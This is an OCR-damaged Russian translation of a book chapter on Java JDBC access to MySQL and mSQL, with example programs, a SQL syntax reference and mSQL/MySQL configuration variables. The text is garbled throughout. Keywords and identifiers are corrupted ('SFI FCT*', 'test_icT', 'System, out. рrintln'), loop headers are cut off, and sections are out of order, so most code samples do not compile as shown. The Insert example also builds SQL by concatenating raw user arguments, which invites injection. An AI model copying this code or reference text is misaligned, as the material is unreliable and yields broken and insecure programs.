
    Connection con = null;


    try {

    // Вот JDBC URL для этой базы данных

    String url = "jdbc:msql://athens.imaginary.com:1114/db_test";

    // 0 том, что делают классы Statement и ResultSet, ниже Statement stmt; ResultSet rs;

    // передать это как свойство, т.е.

    // -Djdbc.drivers=com.imaginary.sql.msql.MsqlDriver

    // или загрузить, как сделано в этом примере

    Class.fоrName("com.imaginary, sql. msql. MsqlDriver");

    // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", "");

    }

    catch( SQLException e ) {

    e.printStackTrace(); }

    finally {

    if( con != null ) {

    try { con.close();

    }

    catch( Exception e ) { }

    }

    }

    }

    }

    В этом примере соединение с базой данных осуществляется в строке con=DriverManager.getConnection(url, "borg", ""). В данном случае JDBC URL и имя класса, реализующего Driver, фактически введены в код приложения. В демонстрационной программе это допустимо, но всякое серьезное приложение должно загружать эти данные из файла свойств, получать через аргументы командной строки или из свойств системы. Реализация Driver будет автоматически загружена, если передать ее как системное свойство jdbc.drivers - иными словами, не нужно вызывать Class. ForName(). newlnstance(driver_name), если вы передаете имя драйвера как системное свойство jdbc.drivers. Второй и третий аргументы getConnection() передают ID пользователя и пароль, необходимые для установления соединения. Поскольку mSQL не использует пароли для авторизации пользователей, в примере используется пустая строка. Для MySQL же необходимо сообщить пароль.

    Поддержка переносимости с помощью файлов свойств

    Хотя наше внимание сосредоточено на двух конкретных базах данных, хорошей практикой программирования на Java является обеспечение полной переносимости приложений. Под переносимостью обычно подразумевается, что вы не пишете код, предназначенный для выполнения только на какой-то одной платформе. Однако для Java термин "переносимость" имеет более сильный смысл. Он означает независимость от аппаратных ресурсов и независимость от базы данных.


    Мы сказали о том, что JDBC URL и имя Driver зависят от реализации, но не сказали, как избежать их включения в код. Поскольку и то, и другое представляет собой простые строки, их можно передать в качестве параметров командной строки или как параметры апплетов. Это работающее, но едва ли элегантное решение, поскольку оно требует, чтобы пользователь помнил длинные командные строки. Аналогичное решение - выдавать пользователю приглашение для ввода этих данных, которое опять-таки требует, чтобы пользователь вспоминал JDBC URL и имя класса Java при каждом запуске приложения.

    Более изящное решение получается при использовании файла свойств. Файлы свойств поддерживаются классом Java. util. Resource-Bundle и его подклассами, позволяя приложению извлекать данные, относящиеся ко времени исполнения, из текстового файла. Для приложения, использующего JDBC, можно вставить в файл свойств URL и имя Driver, возложив на администратора приложения обязанность указать детали соединения. Пример 14-2 показывает файл свойств,

    предоставляющий данные о соединении.

    Пример 14-2. Файл SelectResource.properties с подробностями соединения

    Driver=com.imaginary.sql.msql.MsqlDriver

    URL=jdbc:msql://athens.imaginary.com:1114/db_test

    В примере 14-3 показан переносимый класс Connection.

    Пример 14-3. Специфические данные

    import java.sql.*; import java.util.*;

    public class Connect {

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle = ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL");

    Statement stmt; ResultSet rs;

    Class.forName(bundle.getString("Driver")); // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", ""); }

    catch( SQLException e ) { e. printStackTrace();

    }

    finally

    {

    if( con != null )

    {

    try { con.close(); }

    catch( Exception e ) { }

    }

    }

    }

    }

    В этом примере установления соединения мы избавились от кода, специфичного для mSQL. Однако для разработчиков переносимых JDBC-приложений остается одна важная проблема, особенно касающаяся тех, кто работает с mSQL. JDBC требует, чтобы все драйверы поддерживали начальный уровень (entry level) SQL2. Это стандарт ANSI минимальной поддержки SQL. Если при вызовах JDBC вы поддерживаете начальный уровень SQL2, то ваше приложение будет стопроцентно переносимо на другие базы данных. MySQL поддерживает минимальный уровень SQL2, a mSQL - увы, нет. Приложения, написанные для mSQL, скорее всего, без проблем будут переноситься на другие базы данных, но приложения, написанные с использованием начального уровня SQL92, в полном объеме нельзя будет безболезненно перенести обратно на mSQL.



    Динамический доступ к базе данных

    До сих пор мы имели дело с приложениями, в которых во время компиляции точно известно, что нужно будет делать. Если бы это был единственный тип поддержки, обеспечиваемый JDBC, никто не смог бы написать для Mysql и msql интерактивные инструменты командной строки, способные во время исполнения принимать команды SQL и выполнять их. Класс JDBC Statement поддерживает метод execute() для выполнения SQL-команд, которые могут быть запросами или обновлениями. Кроме того, экземпляры ResultSet обеспечивают предоставление о себе информации времени исполнения через интерфейс с именем ResultSetMetaData, доступ к которому осуществляется через вызов метода getMetaData() для ResultSet.

    Метаданные

    Термин метаданные звучит официозно, но на самом деле это не более чем дополнительные данные о некотором объекте, которые, если бы действительно хранились в объекте, просто зря тратили бы ресурсы. Например, для простых приложений не нужны имена колонок, связанных с результирующим набором ResultSet: программисту они, скорее всего, известны во время написания программы. Поэтому помеще

    ние этих дополнительных данных в класс ResultSet не рассматривается разработчиками JDBC как нечто существенное для функциональности ResultSet. Однако в некоторых случаях программирования баз данных i такие вещи, как имена колонок, очень важны, особенно при осуществлении динамического доступа к базам данных. Доступ к этим дополнительным данным - метаданным - разработчики JDBC обеспечили через интерфейс ResultSetMetaData. Этот класс позволяет узнать:

  • Число колонок в результирующем наборе.

  • Является ли NULL допустимым значением в колонке.

  • Метку, используемую для заголовка колонки.

  • Имя заданной колонки.

  • Таблицу, служащую источником данных для данной колонки.

  • Тип данных колонки.

    Другим примером класса, поставляемым вместе с драйвером mSQL-JDBC, является приложение Exec. Оно принимает любую команду SQL, задаваемую в командной строке, и выполняет ее. В примере 14-6 приводится соответствующий исходный код.


    Пример 14-6. Исходный код приложения Exec для выполнения динамического SQL

    import java.sql.*;

    public class Exec {

    public static void main(String args[]) {

    Connection con = null; String sql = "";

    for(int i=0; i
    sql = sql + args[i];

    if( i < args.length - 1 ) {

    sql = sql + " ";

    }

    }

    System, out. рrintln("Выполнение: " + sql);

    try {

    Class.forName("com.imaginary. sql.msql.MsqlDriver").newlnstance();

    String url = "jdbc:msql://athens.imaginary.com:1114/db_test";

    con = DriverManager.getConnection(url, "borg", "");

    Statement s = con.createStatement();

    if( s.execute(sql) ) {

    ResultSet r = s.getResultSet();

    ResultSetMetaData meta = r.getMetaData();

    int cols = meta.getColumnCount();

    int rownum = 0;

    while( r.next() ) { rownum++;

    System, out. println("Crpокa: " + rownum);

    for(int i=0; i
    System.out.print(meta.getColumnLabel(i+1) + ": ' + r.getObject(i+1) + ", ");

    }

    System.out.println("");

    }

    }

    else

    {

    System.out.println(s.getUpdateCount() + " строк обработано.");

    }

    s.close();

    con.close();

    }

    catch( Exception,e ) { e. printStackTrace();

    }

    finally

    {

    if( con != null )

    {

    try { con.close();

    }

    catch( SQLException e ) { }

    }

    }

    }

    }

    Для каждого результирующего набора обеспечивается получение экземпляра ResultSetMetaData с помощью метода getMetaData(). При динамическом доступе к базе данных необходимо узнать, сколько колонок в результирующем наборе, чтобы с уверенностью извлечь все колонки и их имена для вывода пользователю. Метаданные нашего результирующего набора обеспечивают получение всех этих данных с помощью методов getColumnCount() и getColumnLabel().

    Обработка динамического SQL

    В примере 14-6 введено понятие динамического вызова SQL. Поскольку мы не знаем, будет это запрос на получение данных или обновление, нужно передать вызов SQL через метод execute (). Этот метод возвращает true, если команда возвратила результирующий набор, и false в противном случае. В нашем примере, если возвращается true, то приложение получает возвращаемый ResultSet через вызов метода getResultSet(). Затем приложение может перейти к обычной обработке результирующего набора. Если, напротив, команда произвела какую-либо модификацию базы данных, можно вызвать метод getUpdateCu-unt() для подсчета числа строк, модифицированных командой.



    К несчастью, каждый API позволяет

    Java u JDBC

    В главе 13 "Си C++", мы познакомили вас с С API для MySQL и mSQL. К несчастью, каждый API позволяет писать программы только для той базы данных, которую он поддерживает. Если вы собираетесь переносить приложение между MySQL и mSQL или, того хуже, хотите, чтобы оно работало на Oracle, Sybase или с любой другой СУБД, вам необходимо переписать свой код так, чтобы он использовал фирменный API этого ядра. Однако Java-программисты по большей части избавлены от проблем переносимости на другую базу данных. У них есть единый API, Java DataBase Connectivity API (JDBC), обеспечивающий их унифицированным интерфейсом ко всем SQL-базам данных.

    Поскольку JDBC является единым интерфейсом ко всем базам данных, достаточно изучить его, чтобы писать приложения, которые будут работать как с MySQL, так и с mSQL. На самом деле, если должным образом использовать JDBC, то написанные вами на Java приложения смогут работать с любой СУБД. Если у вас есть доступ к другим базам данных, кроме MySQL и mSQL, можете проверить верность этого утверждения, запустив примеры данной главы с другой базой данных.

    Для чтения этой главы предполагается знание основ языка программирования Java и лежащих в его основе концепций. Если такой подготовки у вас нет, настоятельно рекомендуем посмотреть "Exploring Java" (O'Reilly & Associates, Inc.). Узнать более подробно о том, как создавать многоуровневые приложения баз данных, о чем мы рассказывали в главе 8 "Архитектуры приложений баз данных", можно из книги "Database Programming with JDBC and Java" (O'Reilly & Associates, Inc.).



    Простой доступ к базе данных

    В примере Connect делалось не много. В нем было просто показано, как соединиться с базой данных. В соединении с базой данных нет пользы, пока вы не начинаете действительно обмениваться с ней данными. Простейшие виды доступа к базе данных - команды SELECT, INSERT, UPDATE и DELETE. В JDBC API вы используете экземпляр Connection для создания экземпляров класса Statement. Класс Statement представляет SQL-команду любого типа. В примере 14-4 показано, как вставить строку в базу данных, используя Statement.

    Пример 14-4. Вставка строки в mSQL с помощью объекта JDBC Statement

    import Java, sql.*;
    import Java, util.*;

    public class Insert {

    // Делаем вставку в таблицу, имеющую две колонки: test_id (int)

    // и test_val (char(55))

    // args[0] - это test_id, a args[1] - test_val

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle = ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL");
    Statement stmt;

    Class.forName(bundle.getString("Driver"));

    // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", "");

    stmt = con.createStatement();

    stmt.executeUpdate("INSERT INTO test (test_id, test_val) " +

    "VALUES(" + args[0] + ", '," + args[1] + ")");
    }
    catch( SQLException e )
    {

    e. printStackTrace();
    }
    finally
    {

    if( con != null )
    {

    try { con.close();
    }
    catch( Exception e ) { }

    }
    }
    }
    }

    В реальном приложении мы бы, конечно, проверили, что пользователь ввел значение типа INT для test_id, что оно уникально, и что длина введенного значения test_val не превышает 55 символов. Тем не менее пример показывает, как просто осуществлять вставку данных. Метод createStatement() делает то, о чем говорит его название: создает пустую SQL-команду, связанную с рассматриваемым соединением - объектом Connection. Затем метод executeUpdate() передает заданную строку SQL базе данных для выполнения. Как подсказывает название, executeUp-date() ожидает команды SQL, которая некоторым образом модифицирует базу данных. Вы можете использовать ее, чтобы вставлять новые строки, как показано выше, либо удалять строки, обновлять строки, создавать новые таблицы или производить любые другие изменения в базе данных.


    Запросы выполнять немного сложнее, чем обновления, поскольку они возвращают информацию из базы данных в виде объекта ResultSet. ResultSet является интерфейсом, представляющим 0 или более строк, являющихся результатом запроса, обращенного к базе данных. В классе JDBC Statement имеется метод executeQuery(), работающий подобно executeUpdate(), за исключением того, что он возвращает из базы данных ResultSet. Метод executeQuery() возвращает ровно один ResultSet, тем не менее имейте в виду, что JDBC поддерживает извлечение множественных результирующих наборов для тех баз данных, которые это позволяют. Ни MySQL, ни mSQL не поддерживают множественные результирующие наборы. Однако важно помнить о такой возможности, когда вы изучаете код для работы с иным ядром базы данных, написанный кем-то другим. В примере 14-5 показан простой запрос. На рис. 14-2 изображена модель данных з таблице test.

    Пример 14-5. Простой запрос

    import Java, sql.*;

    import Java, util.*;

    public class Select {

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle =ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL"); Statement stmt;

    ResultSet rs;

    Class.forName(bundle.getString("Driver")); // здесь осуществляется соединение

    con = DriverManager,getConnection(url, "borg", "");

    stmt = con.createStatement();

    rs = stmt .executeQuery("SFI FCT* from test ORDER BY test_id");

    System, out.print In("Полученные результаты:");

    while(rs. next()) {

    int a= rs.getInt("test_icT);

    String str = rs.getString("test_val");

    System.out.print(" ключ= " + a);

    System.out.print(" строка= " + str);

    System.out.print("\n");

    }

    stmt.close();

    }

    catch( SQLException e )

    {

    e. printStackTrace();

    }

    finally {

    if( con != null ) {

    try { con.close(); }

    catch( Exception e ) { }

    }

    }

    }

    }

    Приложение Select выполняет запрос и затем проходит по всем строкам ResultSet с помощью метода next(). До первого обращения к next() ResultSet не указывает ни на какую строку. Каждый вызов next () настраивает ResultSet на следующую строку. JDBC 2:0 вводит понятие результирующего набора с перемещением (scrollable). Если ваш экземпляр ResultSet позволяет перемещение, можно также обращаться к методу previous() для перемещения по результирующему набору в обратном направлении. Обработка строк заканчивается, когда next () возвращает false.


    Простой доступ к базе данных

    Рис. 14-2. Таблица test из учебной базы данных

    Работа со строкой означает получение значений для каждой колонки. Каково бы ни было значение в базе данных, можно использовать методы ResultSet для получения значения колонки с любым типом данных Java, который вас устраивает. В приложении Select вызов метода gе tInt() возвращал колонку test_id как int, а вызов getString() возвращал значение колонки test_val как String. Эти методы получения значения колонки принимают либо номер колонки, начиная с 1, либо ее имя. Следует, однако, всеми силами избегать извлечения значений с помощью имен колонок, поскольку такой способ значительно медленнее, чем получение их с помощью номеров колонок.

    Обработка ошибок и освобождение ресурсов

    Все методы JDBC могут возбуждать SQLException или один из подклассов этого класса, если что-то происходит при обращении к базе данных. Ваш код должен уметь перехватывать исключительную ситуацию, обрабатывать ее и освобождать все размещенные в памяти ресурсы базы данных. Все перечисленные до сих пор классы JDBC имеют метод close(). Однако на практике вы должны обеспечить закрытие только тех объектов, которые вызваны процессами, продолжающими оставаться открытыми. В приведенных до сих пор примерах практически требовалось закрыть только соединение с базой данных. При закрытии соединения автоматически закрываются все связанные с ним команды и результирующие наборы. Однако если вы намерены сохранить соединение открытым в течение некоторого времени, будет правильным поспешить закрыть все объекты statement, которые вы создали с использованием этого соединения, когда они вам больше не нужны. В примерах JDBC, которые вы видели, это освобождение ресурсов производится в предложении finally. Это делается для того, чтобы обеспечить закрытие соединения независимо от того, что произойдет.



    Серверное приложение гостевой книги

    Вы, вероятно, немало слышали об апплетах Java. Однако в главе 8 мы говорили о том, что доступ к базам данных на стороне клиента является плохой идеей. В примеры к этой книге мы включили реальное приложение, использующее сведения о JDBC, изложенные в этой главе, для создания класса Java на стороне сервера. Такие приложения называются сервлеты (servlet). Хотя серверные приложения сами по себе не являются частью трехзвенной архитектуры, обсуждавшейся нами в главе 8, данный пример хорошо иллюстрирует возможности использования JDBC. Это серверное приложение является Web-страницей, позволяющей посетителям вашего сайта оставить свое мнение о нем. Оставленные комментарии могут просматриваться другими посетителями. Все, что вам нужно знать о серверных приложениях для понимания этого примера, это то, что метод doPost() обрабатывает события HTTP POST, a de-Get () обрабатывает события HTTP GET.

    В этом приложении две части: часть get и часть post. В обеих частях производится вызов метода printComments() для показа комментариев, оставленных в гостевой книге. В этом методе мы находим нечто, не встречавшееся нам в простых предыдущих примерах: вызов метода wasNull() после каждого извлечения значения колонки. Как и можно предположить из названия, wasNull() возвращает t rue, если последнее извлеченное значение было NULL в смысле SQL. В вызовах, возвращающих объект Java, значение обычно будет NULL, если при чтении из базы данных был получен NULL. Использование wasNull() в таких случаях может показаться излишним. Однако для простых типов данных выборка может возвращать допустимое значение. Метод wasNull() позволяет узнать, не было ли в базе данных значения NULL. Например, NULL в колонке целого типа возвращает 0 при вызове getlnt(). Чтобы узнать, что было в колонке - 0 или NULL, нужно вызвать wasNull().

    Часть III.

    Справочник

    В этой части приводится справочная информация по всем API и утилитам, упоминаемым в книге.



    MSQLSQL

    CREATE

    CREATE TABLE name field_name field_type, [field2 type2, ...]
    CREATE SEQUENCE ON table [STEP value] [VALUE value]
    CREATE INDEX name ON table ( column, ...)

    Создает новые элементы базы данных (или полностью новые базы). Предложение используется для создания БД, таблиц, индексов и счетчиков.

    CREATE SEQUENCE создает счетчик на таблицу. Счетчик - это простое значение, связанное с таблицей, за которым следит сервер mSQL. Наиболее часто счетчик используют для создания уникальных идентификаторов в таблицах. При прочтении значение счетчика каждый раз инкрементируется. Спецификатор STEP указывает на какое значение каждый раз инкрементируется счетчик. Спецификатор VALUE задает начальное значение счетчика.

    Оператор CREATE INDEX определяет индекс для таблицы. Система mSQL поддерживает индексы, содержащие более одного поля. Вы должны дать индексу имя, необязательно осмысленное, поскольку конечным пользователям редко необходим доступ к индексам.

    CREATE TABLE определяет структуру таблицы в базе данных. Этим оператором создаются все таблицы mSQL. Предложение состоит из имени таблицы, за которым идет любое количество определений полей. Синтаксис определения полей включает в себя имя поля, затем его тип, за которым следует любой модификатор (например: name char(30) not null). mSQL поддерживает следующие типы данных:

    CHAR (length)

    Текстовое значение фиксированной длины. Никакое значение не может быть больше заданной длины.

    DATE

    Стандартный тип даты.

    INT

    Стандартное четырехбайтовое целое в диапазоне от -2147483646 до 2147483647.

    MONEY

    Денежный тип, подходящий для аккуратного хранения денежных значений. Тип позволяет хранить десятичные значения (как 19.99) без необходимости использовать тип числа с плавающей запятой.

    REAL

    Стандартное восьмибайтовое число с плавающей запятой. Минимальные ненулевые значения +/-4.94Е-324 и максимальные значения +/- 1.79Е+308.

    ТЕХТ( length)

    Текстовое значение переменной длины. Заданная длина - это максимальное значение для большинства данных, однако могут быть введены и более длинные данные.


    TIME

    Стандартный тип времени.

    UINT

    Стандартное четырехбайтовое беззнаковое целое. Диапазон от 0 до 4294967295.

    В дополнение к основным типам могут быть использованы несколько спецификаторов для уточнения свойств типа:

    length

    Это является максимальной длиной символьного типа. Для типа CHAR это абсолютный максимум, для типа TEXT это приблизительный максимум, применяющийся только к большинству данных. Более длинные данные могут быть введены в поле TEXT, однако это замедлит операции с таблицей.

    NOT NULL

    Указывает, что поле не может содержать нулевое значение. Попытка ввести в это поле такое значение вызовет ошибку.

    Примеры

    # Создать 'простую таблицу

    CREATE TABLE emp_data ( id INT, name CHAR(50) )

    # Добавить счетчик к таблице 'checks' с начальным значением '1000' и # шагом инкрементации по умолчанию (1)

    CREATE SEQUENCE ON checks VALUE 1000

    # Создать индекс для таблицы 'music', включающий в себя

    # поля 'artist','publisher' и 'title'.

    CREATE INDEX idxl O.N music ( artist, publisher, title )

    DELETE

    DELETE FROM table [WHERE clause]

    Удаляет запись из таблицы. Если применяется без предложения WHERE, будет полностью удалена вся таблица, а затем создана новая пустая

    таблица. С использованием WHERE будут удалены записи, отвечающие условиям выражения.

    Примеры

    # Стереть все данные из таблицы 'olddata'(no не саму таблицу). DELETE FROM olddata

    # Стереть все записи в таблице 'sales', в которых поле 'year' равно '1995', DELETE FROM sales WHERE year=1995

    DROP

    DROP INDEX name DROP TABLE name DROP SEQUENCE FROM table

    Полностью удаляет таблицу, индекс или счетчик из системы mSQL.

    MSQLSQLDROP - это, возможно, самое опасное из выражений SQL. Если вы имеете право на выполнение команд DROP, вы можете полностью стереть таблицу или даже целую базу данных. Это произойдет без предупреждения или запроса на подтверждение. Единственный способ отменить DROP - восстановление базы данных из резервной копии. Поэтому следует запомнить два правиле: (1) всегда сохраняйте резервную копию вашей базы (backup); (2) не используйте DROP до тех пор, пока вы полностью не уверены в том, что это необходимо.


    Примеры

    # Удалить таблицу 'oh_no'. DROP TABLE oh_no

    # Удалить индекс с именем 'my_index' DROP INDEX my_index

    # Стереть счетчик для таблицы 'counter'. Другой счетчик может быть

    # создан в любое время с помощью команды 'CREATE SEQUENCE'.

    DROP SEQUENCE FROM counter

    INSERT

    INSERT INTO table [ (column, ...) ] VALUES ( values )

    Записывает данные в таблицу. Этот оператор вставит указанные значения в заданные столбцы. Поля, значения которых не указаны, получат значение NULL. Если вы не зададите список столбцов, число указанных значений должно точно совпадать с числом столбцов в таблице.

    Примеры

    # Добавить запись в таблицу'people'.

    INSERT INTO people ( name, rank, serial_number )

    VALUES ( 'Bob Smith', 'Captain', 12345 )

    SELECT

    SELECT [DISTINCT] columns FROM table [clause]

    Выбирает данные из таблицы. Оператор SELECT является основным методом чтения данных из таблиц баз данных.

    Если вы укажете несколько таблиц, mSQL автоматически объединит таблицы для сравнения записей.

    Если указано ключевое слово DISTINCT, будет показана только одна запись из каждой группы одинаковых записей возвращаемого набора.

    Имена столбцов могут быть указаны как column или как table, column . Длинная форма необходима только для того, чтобы отличать столбцы с одинаковыми именами, но ее можно использовать в любое время (например, SELECT name FROM people; SELECT people, name FROM people ).

    Список таблиц для соединения указывается как Table1, Table2, Tab-1еЗ, .... Таблицы будут соединены таким образом, как mSQL сочтет наиболее эффективным. Именам таблиц могут быть присвоены псевдонимы (например, SELECT t1.name, t2.address FROM Iong_table_name=t1, Ionger_table_name=t2 ). Если не указано выражение clause, SELECT вернет все данные из выбранной таблицы (или таблиц).

    Выражение отбора записей может содержать следующие операторы:

    WHERE

    Конструкция WHERE является основным способом поиска данных в SQL. В конструкции сравниваются два и более значений. Можно использовать значения с именами (такие как имена столбцов и псевдонимы), числовые константы и строки. Поддерживаются следующие операторы:


    AND

    Выполняет логическое И ( вернет 0, если хоть один из аргументов равен 0, иначе вернет 1).

    OR

    Выполняет логическое ИЛИ (возвращает 1, если любой из аргументов не равен 0, иначе возвращает 0).

    ()

    Скобки используются для группировки операторов, чтобы указать старшинство.

    =

    Возвращает 1, если два значения совпадают, иначе вернет 0. mSQL автоматически преобразует типы при сравнении значений.

    <>

    Возвращает 1, если два значения не совпадают, иначе возвращает 0.

    <=

    Возвращает 1, если левое значение меньше или равно правому, иначе возвращает 0.

    <

    Возвращает 1, если левое значение меньше, чем значение справа, иначе возвращает 0.

    >=

    Возвращает 1, если левое значение больше или равно правому, иначе возвращает 0.

    >

    Возвращает 1, если левое значение больше правого, иначе возвращает 0.

    ORDER BY column [DESC][, column2 [DESC],...]

    Сортирует возвращаемые данные по заданному столбцу (или столбцам). Если указать DESC, данные будут отсортированы в порядке убывания, иначе будет использована сортировка по возрастанию (например, SELECT name, age FROM people ORDER BY age DESC ).

    value1 LIKE value2

    Сравнивает valuel и value2 и возвращает 1, если они совпадают. Значение справа может содержать знак подстановки " % ", который заменяет любое количество символов (в том числе и отсутствие символа), и знак '_', замещающий в точности один символ. Это, возможно, наиболее употребительное в SQL сравнение. Чаще всего используется сравнение поля с некоторой строкой, содержащей знак подстановки (например, SELECT name FROM people WHERE name LIKE 'B%' ).

    value1 RLIKE value2

    Сравнивает valuel и value2, используя расширенный синтаксис регулярных выражений, и возвращает 1, если они совпадают. Значение справа может содержать полные подстановочные выражения и конструкции Unix (например, SELECT name FROM people WHERE name RLIKE '^В. *').

    value1 CLIKE value2

    Сравнивает value1 с value2, используя нечувствительную к регистру версию оператора LIKE (например, SELECT name FROM people WHERE name CLIKE 'b%' ).

    Предложение WHERE возвращает все записи, для которых значение заданного выражения не равно 0 или NULL. Таким образом, SELECT age FROM people WHERE age>10 вернет только те записи, где 'ages' больше 10.

    Примеры

    # Найти все имена (пате)в таблице 'people', у которых поле 'state' равно 'МI'. SELECT name FROM people WHERE state='MI' # Показать все данные из таблицы 'mytable'. SELECT * FROM mytable

    UPDATE

    UPDATE table SET column=value, . . . [WHERE clause]

    Изменяет данные в таблице. Используется для обновления существующих данных, не изменяя саму таблицу.

    Пример

    # Изменить имя 'John Deo' на 'John Doe' во всей таблице 'people'. UPDATE people SET name='John Doe' WHERE name='John Deo'

    MySQL SQL

    ALTER/MODIFY

    ALTER [IGNORE] TABLE table ADD [COLUMN] create_clause

    ALTER [IGNORE] TABLE table ADD INDEX [name] (column, . . .)

    ALTER [IGNORE] TABLE table ADD UNIQUE [name] (column, . . .)

    ALTER [IGNORE] TABLE table ALTER [COLUMN] column SET DEFAULT value

    ALTER [IGNORE] TABLE table ALTER [COLUMN] column DROP DEFAULT

    ALTER [IGNORE] TABLE table CHANGE [COLUMN] column create..clause

    ALTER [IGNORE] TABLE table DROP [COLUMN] column

    ALTER [IGNORE] TABLE table DROP FOREIGN KEY key

    ALTER [IGNORE] TABLE table DROP INDEX key

    ALTER [IGNORE] TABLE table DROP PRIMARY KEY

    ALTER [IGNORE] TABLE table MODIFY [COLUMN] create_clause

    ALTER [IGNORE] TABLE table RENAME [AS] new_name

    Оператор ALTER охватывает широкий набор действий, которые изменяют структуру таблицы. Этот оператор используется для добавления, изменения или удаления столбцов существующей таблицы, а также для удаления индексов. Несколько операторов ALTER могут быть объединены в одно предложение с помощью запятых:

    ALTER TABLE mytable DROP myoldcolumn, ADD mynewcolumn INT

    Для модификации таблицы MySQL создает копию таблицы и изменяет ее, выполняя все модифицирующие запросы. Когда все изменения сделаны, старая таблица удаляется, а ее место занимает новая таблица. В этой точке выполняются все поставленные в очередь запросы. В целях безопасности, если какой-либо из запросов создает дублирующие ключи, которые должны быть уникальными, предложение ALTER откатывается и отменяется. Если в предложении присутствует ключевое слово IGNORE, дублированные уникальные ключи игнорируются, и запрос ALTER исполняется как обычно. Имейте в виду, что использование IGNORE для активной таблицы с уникальными ключами может привести к искажению и порче таблицы.

    Как указывалось выше, есть несколько разных, зачастую противоположных действий, выполняемых ALTER:

    ADD [COLUMN] create,clause

    Добавляет новый столбец в таблицу. Выражение create_clause имеет тот же вид, что и используемое в операторе CREATE (см. ниже). Таблица должна существовать и не иметь столбца с тем же именем, что у добавляемого столбца. (Ключевое слово COLUMN необязательно и не имеет эффекта.)


    ADD INDEX [ name] (column , ...)

    Системные переменные MySQL и mSQL

    Для настройки работы MySQL и mSQL могут использоваться некоторые переменные. Многие из них являются переменными окружения, которые наследуются от оболочки пользователя, в то время как другие устанавливаются с помощью командной строки и файлов конфигурации.



    Системные переменные mSQL

    До появления mSQL 2 сконфигурировать систему после инсталляции можно было только через несколько глобальных переменных окружения. Однако mSQL 2.0 использует файл конфигурации, позволяющий производить установку параметров mSQL с гораздо большей гибкостью. Эта часть описывает как переменные окружения, так и специальный файл конфигурации mSQL 2.

    Переменные окружения

    Следующие переменные являются специальными переменными программ mSQL. Они могут быть определены в текущей оболочке или являться частью сценария оболочки.

    MSQL_DEBUG

    Отладочный уровень программы. Число от 0 (нет отладочной информации) до 3 (максимум отладочной информации).

    MSQL_CONF_FILE

    Путь к файлу конфигурации mSQL.

    Кроме того, программы mSQL используют следующие переменные окружения, которые обычно устанавливаются как часть среды Unix:

    USER

    Имя текущего пользователя.

    EDITOR
    VISUAL

    Путь к заданному по умолчанию редактору. Программа msql будет использовать его для редактирования SQL операторов, если ей встретится команда \е.

    Файл конфигурации mSQL

    Файл конфигурации mSQL содержит значения некоторых переменных, которые влияют на работу программ mSQL. По умолчанию он находится в /usr/local/Hughes/msql.conf. Можно изменить это значение в переменной окружения MSQL_CONF_FILE. Файл конфигурации начинается с имени группы, за которым идут переменные этой группы. Ниже пример файла msql.conf:

    [general]

    Inst_Dir = /usr/local/Hughes

    mSQL_User = msql

    Admin_User = root

    Pid_File = %I/msql2d.pid

    TCP_Port =1114

    UNIX_Port = %I/msql2.sock

    [system]

    Msync_Timer = 30 Host_Lookup = True Read_0nly = False

    [w3-msql]

    Auth_Host = NULL Footer = True Force_Private = False

    Секция general влияет на работу всех программ mSQL, сервер баз данных msqld использует секцию system, и секция w3-msql используется системой W3-mSQL, обеспечивающей взаимодействие базы данных с WWW. Когда mSQL читает файлы конфигурации, он заменяет символы %1 на путь к установленной копии mSQL на сервере. Ниже представлены возможные переменные для каждой секции.


    general

    Admin_User

    Имя учетной записи, которой позволено вносить изменения в базу данных mSQL в целом. По умолчанию это root.

    Inst_Dir

    Расположение mSQL. Каждый раз, когда в файле конфигурации встречается символы %1, они заменяются значением данной переменной. Значение по умолчанию - /usr/local/Hughes.

    mSQL_User

    Имя учетной записи, под которой работает демон сервера mSQL. По умолчанию это msql.

    Pid_File

    Расположение файла, содержащего ID процесса (PID) работающего демона mSQL. По умолчанию - %I/msql2d. pid.

    TCP_Port

    В случае программы клиента это номер TCP-порта, используемого для подключения к серверу, для msql2d - это порт, прослушивающий входящие подключения. Значение по умолчанию - 1114.

    UNIX_Port

    Имя файла сокета Unix, используемого для подключения к локальному серверу mSQL (в случае клиентских приложений) либо для обработки локальных подключений (в случае с msql2d). Значение по умолчанию - %I/msql2. sock.

    system

    Host_Lookup

    Если установлено значение 'True', все клиентские подключения должны осуществляться с машин с действующими и проверяемыми именами хостов.

    Msync_timer

    Интервал (в секундах) синхронизации используемых данных, находящихся в RAM, с данными на диске.

    Read_Only

    Если значение этой переменной установлено в 'True', не допускается изменение базы данных. Разрешены только запросы SELECT.

    w3-msql

    Auth_Host

    Имя хоста, содержащего сервер БД с таблицами W3-Auth. Если значение установлено в NULL либо не указано, используется локальный сервер.

    Footer

    Если установлено значение 'True', к каждой странице будет применяться стандартный нижний колонтитул Hughes Technologies.

    Force_Private

    При значении 'True' через W3-mSQL может быть получен доступ только к защищенным W3-Auth страницам. В результате не допускается обработка обычных HTML-файлов через W3-mSQL.

    Системные переменные MySQL

    Переменные окружения MySQL

    Следующие переменные являются специальными переменными MySQL. Они могут быть определены в текущей оболочке или задаваться как часть сценария оболочки. Чтобы установить переменную для демона MySQL (mysqld), определите переменную в используемом для запуска демона сценарии safe_mysqld или определите значения переменных в файле конфигурации MySQL (мы расскажем о нем дальше в этой главе).

    MY_BASEDIR
    MY_BASEDIR_VERSION

    Корневой каталог, содержащий подкаталоги 'bin', 'var' и 'libexec' программы и данные MySQL. Если этой переменной не существует, используется значение по умолчанию (обычно записанное в MySQL как /usr/local). Эти настройки влияют только на программу mysqld.

    MYSQL_DEBUG

    Уровень отладки программы (отладочный уровень). Эта переменная может быть использована с любой программой MySQL. Отладочная библиотека MySQL имеет множество настроек. Список всех доступных опций находится по адресу: http://www.turbolift.com/ туsql/appendixC.html. Самый обычный набор параметров - d: t: о, / tmp/debugfile.

    MYSQL_HOST

    Имя хоста, используемое для связи с удаленным сервером MySQL. Опция может быть использована с любой из клиентских программ MySQL (mysql, mysqlshow, mysqladmin и т. д.).

    MYSQL_PWD

    Пароль, используемый для связи с сервером MySQL. Переменная может быть использована с любой из клиентских программ MySQL.

